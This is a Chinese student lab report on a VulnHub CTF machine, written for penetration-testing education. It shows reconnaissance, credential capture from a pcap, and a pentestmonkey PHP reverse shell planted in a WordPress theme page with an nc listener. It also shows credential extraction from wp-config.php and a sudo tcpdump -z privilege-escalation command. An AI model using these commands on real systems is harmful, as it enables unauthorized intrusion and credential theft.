1.实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper靶机来源:Vulnerable By Design ~ VulnHub
实验工具:不限
2.实验步骤和内容:
目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
实施细节如下:
- 发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。
2、利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)
开启了ssh和http服务
3.若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?
4.利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?
WordPress[4.9.8]
5.网络搜索wpscan,简要说明其功能。
WPScan是一款开源的WordPress安全扫描工具,用于检测WordPress网站中存在的安全漏洞和弱点.使用wPScan可以进行以下操作:
1).对指定的WordPress网站进行扫描,以查找已知的漏洞和弱点
2).根据已知的WordPress漏洞数据库,检测目标网站是否存在已公开的漏洞。
3).可以尝试使用常见的用户名和密码组合进行登录,以检测目标网站是否存在弱密码。
4).可以列举出WordPress网站上存在的用户,并给出一些关于这些用户的信息
6.使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一个似乎和网络流量有关的目录(路径)。
7.浏览器访问该目录(路径),发现一个cap文件。截图。
8.利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。
看到有一个登录请求,内容疑似账号密码
9.利用上一步得到的信息进入网站后台。截图。
尝试输入上一步获取的账号密码,成功登录
10、利用该CMS存在的(插件Plugin)漏洞。
11、利用该插件漏洞提权。
方案:上传反弹shell。
php-reverse-shell | pentestmonkey
【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。
功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】
该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。
进入后台,找到任意一个PHP页面,然后利用php-reverse-shell.PHP的代码修改该页面的代码。
修改代码中反弹目标的IP地址及端口(修改为攻击者IP地址及开放的端口号)。
攻击者在Kali中利用NC开始监听,攻击者浏览器访问修改的PHP页面。从而得到反弹shell(用户www-data)。建立会话后,查看wp-config.php获得账号及口令。(注意路径)
在网页输入:
监听成功
查看config文件,使用口令:cat /var/www/html/wp-config.php
发现了系统的账号密码
12、SSH登录服务器
尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。
使用口令:ssh webdeveloper@192.168.5.131
1)尝试查看/root/flag.txt
均无法查看。
2)使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)
查看当前身份可执行的命令。
发现可以root权限执行tcpdump命令
创建攻击文件
touch /tmp/exploit
写入shellcode
echo ‘cat /root/flag.txt’ > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
获得flag
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量
实验小结
安装WebDeveloper靶机后打开,同时打开kali终端root模式,输入命令arp-scan -l来查看靶机ip,可以利用NMAP扫描目标主机,知道目标提供了ssh和http服务,利用whatweb探测目标网站能够知道网站使用的CMS模板是WordPress[4.9.8]。利用kali已经默认安装的Dirb可以爆破网站目录,获得了网站http://192.168.5.131/ipdata/,浏览该网站发现有一个文件叫analuze.cap。先打开Wireshark,然后返回网页点开analuze.cap,在wireshark输入http:request.method==POST过滤,点开流量包发现类似账号密码的内容,返回网页尝试输入账号密码,登录成功。下载脚本后解压,修改里面的ip和端口,需要注意的是,这里的ip是kali的ip而不是WebDeveloper靶机的ip,端口是4444,修改好后复制替换掉网页后端的代码。接下来打开终端,输入nc -lvp 4444进行nc监听,然后返回网页访问刚刚修改的网页192.168.5.131//wp-content/themes/twentysixteen/404.php,再查看终端是否连接成功,连接成功后输入:cat /var/www/html/wp-config.php查看config文件,能够看到系统的账号和密码。随后输入:ssh webdeveloper@192.168.5.131开启ssh服务器,输入:1.cat /root/flag.txt whoami 2. ls -l /root/flag.txt 3.sudo cat /root/flag.txt发现无法查看/root/flag.txt,输入:sudo -l,根据弹出的内容发现root权限可以执行tcpdump命令,输入1.touch /tmp/exploit 2.echo ‘cat /root/flag.txt’ > /tmp/exploit 3.chmod +x /tmp/exploit 4.sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root后就能获得flag。